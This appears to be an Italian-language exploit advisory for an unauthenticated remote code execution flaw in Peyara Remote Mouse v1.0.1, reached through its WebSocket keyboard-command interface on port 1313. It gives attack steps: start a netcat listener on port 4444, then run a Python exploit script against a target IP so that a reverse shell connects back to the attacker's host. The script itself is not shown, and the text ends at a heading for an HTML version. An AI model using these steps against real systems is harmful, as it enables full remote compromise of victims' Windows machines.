Peyara

Titolo dell'exploit: Peyara Remote Mouse v1.0.1 - Remote Code Execution (RCE)

Data: 2025-05-30

Autore dell'exploit: tmrswrr

Link del software: https://peyara-remote-mouse.vercel.app/

Piattaforma: Windows

Versione: v1.0.1

Testato su: Windows 10

Descrizione della vulnerabilità

Peyara Remote Mouse v1.0.1 contiene una vulnerabilità di esecuzione di codice remoto non autenticata nella sua interfaccia di comando WebSocket (porta 1313). L'applicazione non riesce a validare né a sanificare i comandi di input da tastiera simulati ricevuti tramite connessioni WebSocket, consentendo agli attaccanti di concatenare eventi di tastiera dannosi che eseguono comandi di sistema arbitrari. Questa vulnerabilità può essere sfruttata da remoto senza autenticazione per compromettere completamente il sistema.

Passaggi:

1. Installare l'applicazione vulnerabile
   Scaricare e installare Peyara Remote Mouse sul sistema Windows di destinazione.

2. Avviare il listener Netcat
   Aprire un terminale ed eseguire:

   root@kitploit:~

   nc -nlvp 4444
   

3. Eseguire lo script di exploit

python3 Peyara.py --target 192.168.1.107 --lhost 192.168.1.110 --lport 4444

4. Versione HTML dell'exploit